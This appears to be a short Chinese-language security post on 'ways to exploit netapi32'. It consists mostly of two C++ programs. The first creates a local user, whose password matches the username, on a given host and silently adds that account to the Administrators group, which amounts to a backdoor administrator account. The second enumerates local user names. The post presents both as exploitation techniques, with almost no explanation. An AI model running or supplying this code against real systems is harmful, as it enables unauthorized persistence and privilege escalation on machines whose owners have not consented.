netapi32的一些利用方式

添加用户并且把用户加到管理员组的cpp文件 调用了netapi32

#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h> 
#include <lm.h>

int wmain(int argc, wchar_t* argv[])
{
    USER_INFO_1 ui;
    DWORD dwLevel = 1;
    DWORD dwError = 0;
    NET_API_STATUS nStatus;

    if (argc != 3)
    {
        fwprintf(stderr, L"Usage: %s \\\\10.0.0.01 users\n", argv[0]);
        exit(1);
    }
    //
    // Set up the USER_INFO_1 structure.
    //  USER_PRIV_USER: name identifies a user, 
    //    rather than an administrator or a guest.
    //  UF_SCRIPT: required 
    //
    ui.usri1_name = argv[2];
    ui.usri1_password = argv[2];
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT;
    ui.usri1_script_path = NULL;
    //
    // Call the NetUserAdd function, specifying level 1.
    //
    nStatus = NetUserAdd(argv[1],
        dwLevel,
        (LPBYTE)&ui,
        &dwError);
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = ui.usri1_name;
    NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
    //
    // If the call succeeds, inform the user.
    //
    if (nStatus == NERR_Success)
        fwprintf(stderr, L"Add success%s %s\n",
            argv[2], argv[1]);
    //
    // Otherwise, print the system error.
    //
    else
        fprintf(stderr, "error : %d\n", nStatus);

    return 0;
}

枚举用户以及当前group等等

// WindowsAPIReuser.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <string.h>
#include <Windows.h>
#include <Ntsecapi.h>
#include <ntstatus.h>
#include <LM.h>
#include <winnt.h>
#include <stdbool.h>

static int get_all_local_users()
{
	NET_API_STATUS status;

	USER_INFO_0* buffer = NULL;
	DWORD preffered_max_len = MAX_PREFERRED_LENGTH;
	DWORD entries_read = 0;
	DWORD total_entries = 0;
	DWORD resume_handle = 0;
	status = NetUserEnum(L"\\\\127.0.0.1", 0, 0, (LPBYTE*)&buffer, preffered_max_len, &entries_read, &total_entries, &resume_handle);
	if (status != NERR_Success) {
		fwprintf(stderr, L"False");
		return 1;
	}
	for (DWORD i = 0; i < entries_read; i++) {
		WCHAR* user_name = buffer[i].usri0_name;

		fwprintf(stderr, user_name);

	}
	NetApiBufferFree(buffer);
	return 0;
}
int main()
{
	get_all_local_users();
	return 0;
}